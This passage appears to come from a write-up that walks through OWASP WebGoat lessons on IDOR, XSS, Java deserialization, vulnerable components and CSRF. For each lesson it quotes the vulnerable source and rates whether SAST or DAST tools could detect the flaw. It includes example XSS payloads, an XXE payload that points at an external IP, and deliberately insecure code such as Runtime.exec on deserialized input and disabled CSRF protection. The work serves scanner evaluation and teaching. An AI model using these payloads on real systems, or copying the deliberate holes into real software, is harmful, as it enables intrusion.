Reasoning:**\n\nThis flaw is the same as `(A4) XML External Entities (XXE) > XXE > Let’s try`\n\n**DAST Reasoning:**\n\nThis flaw is the same as `(A4) XML External Entities (XXE) > XXE > Let’s try`\n\n---\n\n\u003C/details>\n\n## (A5) Broken Access Control\n\n---\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A5) Broken Access Control > Insecure Direct Object References > Authenticate First, Abuse Authorization Later\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/1`\n\n**Source:** - webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORLogin.java\n\n**Lesson:**\n\nThis lesson is for assigning the current session to a user profile for subsequent lessons – it is not supposed to contain any vulnerabilities.\n\n```text\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORLogin.java#L59-74\n\npublic AttackResult completed(@RequestParam String username, @RequestParam String password) {\n        initIDORInfo();\n        UserSessionData userSessionData = getUserSessionData();\n\n        if (idorUserInfo.containsKey(username)) {\n            if (\"tom\".equals(username) && idorUserInfo.get(\"tom\").get(\"password\").equals(password)) {\n                userSessionData.setValue(\"idor-authenticated-as\", username);\n                userSessionData.setValue(\"idor-authenticated-user-id\", idorUserInfo.get(username).get(\"id\"));\n                return success(this).feedback(\"idor.login.success\").feedbackArgs(username).build();\n            } else {\n                return failed(this).feedback(\"idor.login.failure\").build();\n            }\n        } else {\n            return failed(this).feedback(\"idor.login.failure\").build();\n        }\n    }\n```\n\n**Can SAST Find?** - Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find as it's only adding server side session data.\n\n**DAST Reasoning:**\n\nThere is nothing to find as it's only adding server side session data.\n\n---\n\n### (A5) Broken Access Control > Insecure Direct Object References > Observing Differences & Behaviors\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/2`\n\n**Source:** - webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORDiffAttributes.java\n\n**Lesson:**\n\nThis lesson demonstrates hidden authorization properties and does not contain any real flaws.\n\n```text\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORDiffAttributes.java#L36-48\n\npublic AttackResult completed(@RequestParam String attributes) {\n    attributes = attributes.trim();\n    String[] diffAttribs = attributes.split(\",\");\n    if (diffAttribs.length \u003C 2) {\n        return failed(this).feedback(\"idor.diff.attributes.missing\").build();\n    }\n    if (diffAttribs[0].toLowerCase().trim().equals(\"userid\") && diffAttribs[1].toLowerCase().trim().equals(\"role\")\n            || diffAttribs[1].toLowerCase().trim().equals(\"userid\") && diffAttribs[0].toLowerCase().trim().equals(\"role\")) {\n        return success(this).feedback(\"idor.diff.success\").build();\n    } else {\n        return failed(this).feedback(\"idor.diff.failure\").build();\n    }\n}\n```\n\n**Can SAST Find?** - Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n**DAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n---\n\n### (A5) Broken Access Control > Insecure Direct Object References > Guessing & Predicting Patterns\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/3`\n\n**Source:** - webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOwnProfileAltUrl.java\n\n**Lesson:**\n\nThis lesson demonstrates accessing your own profile by using a direct object reference (userid). This lesson requires that you are already logged in via the hypothetical login endpoint `/WebGoat/IDOR/login`.\n\n```text\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOwnProfileAltUrl.java#L42-62\n\npublic AttackResult completed(@RequestParam String url) {\n        try {\n            if (userSessionData.getValue(\"idor-authenticated-as\").equals(\"tom\")) {\n                //going to use session auth to view this one\n                String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n                //don't care about `http://localhost:8080` ... just want WebGoat/\n                String[] urlParts = url.split(\"/\");\n                if (urlParts[0].equals(\"WebGoat\") && urlParts[1].equals(\"IDOR\") && urlParts[2].equals(\"profile\") && urlParts[3].equals(authUserId)) {\n                    UserProfile userProfile = new UserProfile(authUserId);\n                    return success(this).feedback(\"idor.view.own.profile.success\").output(userProfile.profileToMap().toString()).build();\n                } else {\n                    return failed(this).feedback(\"idor.view.own.profile.failure1\").build();\n                }\n\n            } else {\n                return failed(this).feedback(\"idor.view.own.profile.failure2\").build();\n            }\n        } catch (Exception ex) {\n            return failed(this).feedback(\"an error occurred with your request\").build();\n        }\n    }\n```\n\n**Can SAST Find?** - Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n**DAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values. Additionally, the DAST tool would need to be configured to treat the `/WebGoat/IDOR/login` page as a login form to be able to successfully set the additional server side session data. However, a DAST tool must already be configured to login to the `/WebGoat/` end point and most DAST tools don't support logging in multiple times to different endpoints for the same scan.\n\n---\n\n### (A5) Broken Access Control > Insecure Direct Object References > Playing with the Patterns\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/4`\n\n**Source:** - webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOtherProfile.java\n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDOREditOtherProfiile.java\n\n**Lesson:**\n\nThis lesson demonstrates accessing a mock users profile by using a direct object reference (userid). This lesson requires that you are already logged in via the hypothetical login endpoint `/WebGoat/IDOR/login`.\n```text\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOtherProfile.java#L48-67\n\npublic AttackResult completed(@PathVariable(\"userId\") String userId, HttpServletResponse resp) {\n        Map\u003CString, Object> details = new HashMap\u003C>();\n\n        if (userSessionData.getValue(\"idor-authenticated-as\").equals(\"tom\")) {\n            //going to use session auth to view this one\n            String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n            if (userId != null && !userId.equals(authUserId)) {\n                //on the right track\n                UserProfile requestedProfile = new UserProfile(userId);\n                // secure code would ensure there was a horizontal access control check prior to dishing up the requested profile\n                if (requestedProfile.getUserId().equals(\"2342388\")) {\n                    return success(this).feedback(\"idor.view.profile.success\").output(requestedProfile.profileToMap().toString()).build();\n                } else {\n                    return failed(this).feedback(\"idor.view.profile.close1\").build();\n                }\n            } else {\n                return failed(this).feedback(\"idor.view.profile.close2\").build();\n            }\n        }\n        return failed(this).build();\n\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDOREditOtherProfiile.java#L41-88\npublic AttackResult completed(@PathVariable(\"userId\") String userId, @RequestBody UserProfile userSubmittedProfile) {\n\n    String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n    // this is where it starts ... accepting the user submitted ID and assuming it will be the same as the logged in userId and not checking for proper authorization\n    // Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let everyone, right?\n    // Except that this is a vulnerable app ... so we will\n    UserProfile currentUserProfile = new UserProfile(userId);\n    if (userSubmittedProfile.getUserId() != null && !userSubmittedProfile.getUserId().equals(authUserId)) {\n        // let's get this started ...\n        currentUserProfile.setColor(userSubmittedProfile.getColor());\n        currentUserProfile.setRole(userSubmittedProfile.getRole());\n        // we will persist in the session object for now in case we want to refer back or use it later\n        userSessionData.setValue(\"idor-updated-other-profile\", currentUserProfile);\n        if (currentUserProfile.getRole() \u003C= 1 && currentUserProfile.getColor().toLowerCase().equals(\"red\")) {\n            return success(this)\n                    .feedback(\"idor.edit.profile.success1\")\n                    .output(currentUserProfile.profileToMap().toString())\n                    .build();\n        }\n...\n```\n\n**Can SAST Find?** - Impossible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nSAST tools have difficulties determining authorization checks unless custom rule sets are configured.\n\n**DAST Reasoning:**\n\nIDOR-based attacks can be difficult for DAST tools to detect. The DAST tool would need to be configured to treat the `/WebGoat/IDOR/login` page as a login form to be able to successfully set the additional server side session data. After which it would somehow need to determine that the edit and view profile endpoint at `/WebGoat/IDOR/profile/{user}` should have the `{user}` field replaced with the userid of the same user, and then replaced as a different user to trigger the flaw.\n---\n\n\u003C/details>\n\n## (A7) Cross-Site Scripting (XSS)\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A7) Cross-Site Scripting (XSS) > Cross Site Scripting > Try It! Reflected XSS\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/6`\n\n**Source:** - webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson5a.java\n- webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js\n**Lesson:**\n\nThis lesson demonstrates a self-reflected XSS vulnerability. The goal is to inject XSS into the `field1` parameter.\n\n```text\nwebgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson5a.java#L56-79\n\ncart.append(\"Thank you for shopping at WebGoat. \u003Cbr />You're support is appreciated\u003Chr />\");\ncart.append(\"\u003Cp>We have charged credit card:\" + field1 + \"\u003Cbr />\");\ncart.append(\"                             ------------------- \u003Cbr />\");\ncart.append(\"                               $\" + totalSale);\n\n//init state\nif (userSessionData.getValue(\"xss-reflected1-complete\") == null) {\n    userSessionData.setValue(\"xss-reflected1-complete\", (Object) \"false\");\n}\n\nif (field1.toLowerCase().matches(\"\u003Cscript>.*(console\\\\.log\\\\(.*\\\\)|alert\\\\(.*\\\\))\u003C\\\\/script>\")) {\n    //return )\n    userSessionData.setValue(\"xss-reflected-5a-complete\", \"true\");\n    if (field1.toLowerCase().contains(\"console.log\")) {\n        return success(this).feedback(\"xss-reflected-5a-success-console\").output(cart.toString()).build();\n    } else {\n        return success(this).feedback(\"xss-reflected-5a-success-alert\").output(cart.toString()).build();\n    }\n} else {\n    userSessionData.setValue(\"xss-reflected1-complete\", \"false\");\n    return success(this)\n            .feedback(\"xss-reflected-5a-failure\")\n            .output(cart.toString())\n            .build();\n}\n...\n\nwebgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js#L183-185\n\nrenderOutput: function (output) {\n    var s = this.removeSlashesFromJSON(output);\n    this.$curOutput.html(polyglot.t(s) || \"\");\n    ...\n```\n\n**Can SAST Find?** - Probable\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `field1` parameter comes directly from user input and is output in the response on lines 70, 72 and 78. The user input is inserted into the cart `StringBuffer` on line 57. However the response for this endpoint is JSON and the reason this is exploitable is due to how the frontend renders the `output` JSON field in `LessonContentView.js`. A SAST tool would need to be able to scan JavaScript and possibly Java to detect this as a Cross-Site Scripting flaw.\n\n**DAST Reasoning:**\n\nThis is a straightforward XSS attack. A DAST tool would most likely attempt various XSS attack strings in each parameter value.\n\n**Example Attack:**\n- `/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field2=12345&field1=%3cimg%20src%3dx+onerror%3dalert(1)%3e`\n\n---\n\n### (A7) Cross-Site Scripting (XSS) > Cross Site Scripting > Identify potential for DOM-Based XSS\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9`\n\n**Source:** - webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson6a.java\n\n**Lesson:**\n\nThis lesson does not contain any vulnerabilities. The goal is to simply identify that `start.mvc#test` is the hidden route.\n\n```text\nwebgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson6a.java#L42-50\n\npublic AttackResult completed(@RequestParam String DOMTestRoute) {\n\n    if (DOMTestRoute.matches(\"start\\\\.mvc#test(\\\\/|)\")) {\n        //return )\n        return success(this).feedback(\"xss-reflected-6a-success\").build();\n    } else {\n        return failed(this).feedback(\"xss-reflected-6a-failure\").build();\n    }\n}\n```\n\n**Can SAST Find?** - Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n**DAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n---\n\n### (A7) Cross-Site Scripting (XSS) > Cross Site Scripting > Try It! DOM-Based XSS\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/10`\n\n**Source:** - webgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js\n- webgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js\n- webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js\n\n**Lesson:**\n\nThis lesson is a client side DOM-XSS vulnerability that exists in a different java project `webgoat-container`. The underlying vulnerability is in an insecure call to the `jQuery.html` method.\n\n```text\nwebgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js#L46-117\n\nvar GoatAppRouter = Backbone.Router.extend({\n\n    routes: {\n        'welcome': 'welcomeRoute',\n        'lesson/:name': 'lessonRoute',\n        'lesson/:name/:pageNum': 'lessonPageRoute',\n        'test/:param': 'testRoute',\n        'reportCard': 'reportCard'\n    },\n...\ntestRoute: function (param) {\n            this.lessonController.testHandler(param);\n            //this.menuController.updateMenu(name);\n        },\n...\n\nwebgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js#156-159\n\nthis.testHandler = function(param) {\n    console.log('test handler');\n    this.lessonContentView.showTestParam(param);\n};\n...\n\nwebgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js#L220-222\n\nshowTestParam: function (param) {\n    this.$el.find('.lesson-content').html('test:' + param);\n},\n...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool that does intra-procedural taint tracking would need to have signatures for the Backbone javascript framework. It would need to follow taint down to the final vulnerability on line 221 of `LessonContentView.js`. A non-intra-procedural taint tracking SAST tool may simply look for any `html()` method calls and flag it as a potential sink for XSS.\n\n**DAST Reasoning:**\n\nA DAST tool would most likely need to have some form of SAST-like capabilities to know that the target application not only uses Backbone, but is able to extract the routes from the `Backbone.router`. It could then potentially attack all URL Fragment based route links. Since the `#test/` route is technically never referenced anywhere, it is unlikely that a DAST tool would be able to find this vulnerable route.\n\nAlso, since this is a client-side vulnerability, the DAST tool must be instrumenting a real browser, otherwise it would be nearly impossible to trigger the flaw since it is dynamically rewriting the DOM.\n\n**Example Attack:**\n- ``http://localhost:8080/WebGoat/start.mvc#test/%3Cimg%20src=x%20onerror=alert(1`)%3E`\n\n---\n\u003C/details>\n\n## (A8)  Insecure Deserialization\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A8)  Insecure Deserialization > Insecure Deserialization > Let’s try\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/InsecureDeserialization.lesson/4`\n\n**Source:** - webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/deserialization/InsecureDeserializationTask.java\n- webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\n\n**Lesson:**\n\nThis lesson demonstrates how object deserialization attacks can be exploited to run arbitrary code. In particular this lesson deals with java deserialization attacks.\n\n```text\nwebgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/deserialization/InsecureDeserializationTask.java#L54-56\n\ntry (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {\n    before = System.currentTimeMillis();\n    Object o = ois.readObject();\n...\n\nwebgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java#L38-59\n\nprivate void readObject( ObjectInputStream stream ) throws Exception {\n    //unserialize data so taskName and taskAction are available\n    stream.defaultReadObject();\n\n    //do something with the data\n    log.info(\"restoring task: {}\", taskName);\n    log.info(\"restoring time: {}\", requestedExecutionTime);\n\n    if (requestedExecutionTime!=null &&             (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))\n            || requestedExecutionTime.isAfter(LocalDateTime.now()))) {\n        //do nothing is the time is not within 10 minutes after the object has been created\n        log.debug(this.toString());\n        throw new IllegalArgumentException(\"outdated\");\n    }\n\n    //condition is here to prevent you from destroying the goat altogether\n    if ((taskAction.startsWith(\"sleep\")||taskAction.startsWith(\"ping\"))\n            && taskAction.length() \u003C 22) {\n    log.info(\"about to execute: {}\", taskAction);\n    try {\n        Process p = Runtime.getRuntime().exec(taskAction);\n...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify the `Object o = ois.readObject();` call on line 56 of `InsecureDeserializationTask.java` and flag as a potential Deserialization issue. SAST tools would most likely also flag the `Runetime.getRuntime().exec(taskAction)` call on line 59 as a potential for OS command injection.\n\n**DAST Reasoning:**\n\nDAST tools usually work off of intercepting requests and analyzing parameter values to determine what to inject. The `/WebGoat/InsecureDeserialization/task` endpoint is never triggered with a valid object, only a reference to what is expected exists in the HTML output. Due to this, there is no way for a DAST tool to know that this endpoint expects a serialized java object, and hence would not be able to attack it.\n---\n\n\u003C/details>\n\n## (A9) Vulnerable Components\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A9) Vulnerable Components > Vulnerable Components > The exploit is not always in \"your\" code\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/VulnerableComponents.lesson/4`\n\n**Source:** - webgoat-lessons/vulnerable-components/src/main/resources/html/VulnerableComponents.html\n\n**Lesson:**\n\nThis lesson demonstrates a vulnerable and non-vulnerable version of jquery-ui. The attack is built in to the source HTML form.\n```text\nL45-57\n        \u003Ctd>\u003Cinput id=\"closetext\" value=\"OK\u003Cscript>alert('XSS')\u003C/script>\" type=\"TEXT\" />\u003Cinput\n            name=\"SUBMIT\" value=\"Go!\" type=\"SUBMIT\" onclick=\"webgoat.customjs.vuln_jquery_ui()\" />\u003C/td>\n        \u003Ctd>\u003C/td>\n    \u003C/tr>\n\u003C/table>\n\u003Cscript th:inline=\"javascript\">\n/*\u003C![CDATA[*/\nwebgoat.customjs.vuln_jquery_ui = function()\n{\n    webgoat.customjs.jqueryVuln('#dialog').dialog({ closeText: webgoat.customjs.jquery('#closetext').val() });\n};\n/*]]>*/\n    \u003C/script>\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nMost likely the SAST tool would *not* trigger on the exact line, but would be used in combination with a dependency scanning tool to identify the outdated version of jquery-ui.\n\n**DAST Reasoning:**\n\nA DAST tool would most likely click the form submission and inject it's own XSS value to trigger the flaw.\n\n**Example Attack:**\n- `OK\u003Cscript>alert('XSS')\u003C/script>`\n\n---\n\n### (A9) Vulnerable Components > Vulnerable Components > Exploiting CVE-2013-7285 (XStream)\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/VulnerableComponents.lesson/11`\n\n**Source:** - webgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/VulnerableComponentsLesson.java\n\n**Lesson:**\n\nThis lesson demonstrates a vulnerable version of `Xstream` that allows for XXE attacks. \n```text\nwebgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/VulnerableComponentsLesson.java#L37-68\n\nAttackResult completed(@RequestParam String payload) {\n        XStream xstream = new XStream(new DomDriver());\n        xstream.setClassLoader(Contact.class.getClassLoader());\n\n        xstream.processAnnotations(Contact.class);\n...\n\n        try {\n//        \tSystem.out.println(\"Payload:\" + payload);\n            Contact expl = (Contact) xstream.fromXML(payload);\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nMost likely the SAST tool would *not* trigger on the exact line, but would be used in combination with a dependency scanning tool to identify the vulnerable `Xstream` component. It may also model the `Xstream` library to determine if XXE injection attacks are possible.\n\n**DAST Reasoning:**\n\nA DAST tool may not attempt XML attacks since the form gives no hint that the expected form should POST as XML; the default content-type is `application/x-www-form-urlencoded; charset=UTF-8` with the parameter name of `payload`. However some DAST tools may attempt XXE attacks in all parameter value types, regardless of content-type.\n\n**Example Attack:** - `payload=\u003C?xml version=\"1.0\"?>\u003C!DOCTYPE text [\u003C!ENTITY xxe SYSTEM \"http://192.168.2.249:9090/test\">]>\u003Ccomment>\u003Ctext>&xxe;\u003C/text>\u003C/comment>`\n\n---\n\n\u003C/details>\n\n## (A8:2013) Request Forgeries\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > Basic Get CSRF Exercise\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/2`\n\n**Source:** - webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFConfirmFlag1.java\n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFGetFlag.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a form that is not protected by anti-CSRF measures.\n\n```text\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFGetFlag.java#L49-51\n\n@RequestMapping(path = \"/csrf/basic-get-flag\", produces = {\"application/json\"}, method = RequestMethod.POST)\n@ResponseBody\npublic Map\u003CString, Object> invoke(HttpServletRequest req) {\n    ...\n\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFConfirmFlag1.java#L45-47\n\n@PostMapping(path = \"/csrf/confirm-flag-1\", produces = {\"application/json\"})\n@ResponseBody\npublic AttackResult completed(String confirmFlagVal) {\n...\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled, it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework, it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections.\n**DAST Reasoning:**\n\nDAST tools usually look at the `\u003Cform>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. Most DAST tools will likely flag both the `/WebGoat/csrf/basic-get-flag` and `/WebGoat/csrf/confirm-flag-1` as being vulnerable.\n\n---\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > Post a review on someone else’s behalf\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/3`\n\n**Source:** - webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/ForgedReviews.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a form that includes a weak form of anti-CSRF measures, as the CSRF token is a hardcoded value.\n```text\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/ForgedReviews.java#L78-102\n\npublic AttackResult createNewReview(String reviewText, Integer stars, String validateReq, HttpServletRequest request) {\n    final String host = (request.getHeader(\"host\") == null) ? \"NULL\" : request.getHeader(\"host\");\n    final String referer = (request.getHeader(\"referer\") == null) ? \"NULL\" : request.getHeader(\"referer\");\n    final String[] refererArr = referer.split(\"/\");\n\n    Review review = new Review();\n    review.setText(reviewText);\n    review.setDateTime(DateTime.now().toString(fmt));\n    review.setUser(webSession.getUserName());\n    review.setStars(stars);\n    var reviews = userReviews.getOrDefault(webSession.getUserName(), new ArrayList\u003C>());\n    reviews.add(review);\n    userReviews.put(webSession.getUserName(), reviews);\n    //short-circuit\n    if (validateReq == null || !validateReq.equals(weakAntiCSRF)) {\n        return failed(this).feedback(\"csrf-you-forgot-something\").build();\n    }\n    //we have the spoofed files\n    if (referer != \"NULL\" && refererArr[2].equals(host)) {\n        return failed(this).feedback(\"csrf-same-host\").build();\n    } else {\n        return success(this).feedback(\"csrf-review.success\").build(); //feedback(\"xss-stored-comment-failure\")\n    }\n}\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. Most likely a SAST tool will completely ignore the hard coded value check.\n\n**DAST Reasoning:**\n\nDAST tools usually look at the `\u003Cform>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. In this case a DAST tool may be confused by the seemingly configured CSRF token, when in reality the value is hard coded. A DAST tool will need to do an active request and compare the results to see if the CSRF token is ever updated/changed.\n\n---\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > CSRF and content-type\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/6`\n\n**Source:** - webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFFeedback.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a CSRF vulnerable form that calls an endpoint which doesn't validate the content-type properly. Newer browsers will append a `=` to the end of `text/plain` forms where only the name value exists. This form is still vulnerable to CSRF if attackers use `XMLHttpRequest` or `navigator.sendBeacon`.\n\n```text\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFFeedback.java#L57-74\n\npublic AttackResult completed(HttpServletRequest request, @RequestBody String feedback) {\n        try {\n            objectMapper.enable(DeserializationFeature.FAIL_ON_IGNORED_PROPERTIES);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_NUMBERS_FOR_ENUMS);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_READING_DUP_TREE_KEY);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_MISSING_CREATOR_PROPERTIES);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_TRAILING_TOKENS);\n            objectMapper.readValue(feedback.getBytes(), Map.class);\n        } catch (IOException e) {\n            return failed(this).feedback(ExceptionUtils.getStackTrace(e)).build();\n        }\n        boolean correctCSRF = requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().contains(MediaType.TEXT_PLAIN_VALUE);\n        correctCSRF &= hostOrRefererDifferentHost(request);\n        if (correctCSRF) {\n            String flag = UUID.randomUUID().toString();\n            userSessionData.setValue(\"csrf-feedback\", flag);\n            return success(this).feedback(\"csrf-feedback-success\").feedbackArgs(flag).build();\n    ...\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections.\n**DAST Reasoning:**\n\nDAST tools usually look at the `\u003Cform>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. In this case a DAST tool would treat this form the same as any other and flag it as vulnerable to CSRF regardless of content-type.\n\n---\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > Login CSRF attack\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/7`\n\n**Source:** - webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFLogin.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a CSRF vulnerable form to force a victim to login under the attackers account.\n\n```text\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFLogin.java#50-57\n\npublic AttackResult completed(HttpServletRequest request) {\n    String userName = request.getUserPrincipal().getName();\n    if (userName.startsWith(\"csrf\")) {\n        markAssignmentSolvedWithRealUser(userName.substring(\"csrf-\".length()));\n        return success(this).feedback(\"csrf-login-success\").build();\n    }\n    return failed(this).feedback(\"csrf-login-failed\").feedbackArgs(userName).build();\n}\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections.\n**DAST Reasoning:**\n\nDAST tools usually look at the `\u003Cform>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. In this case a DAST tool would treat this form the same as any other and flag it as vulnerable to CSRF.\n\n---\n\n### (A8:2013) Request Forgeries > Server-Side Request Forgery > Change the URL to display Jerry\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SSRF.lesson/1`\n\n**Source:** - 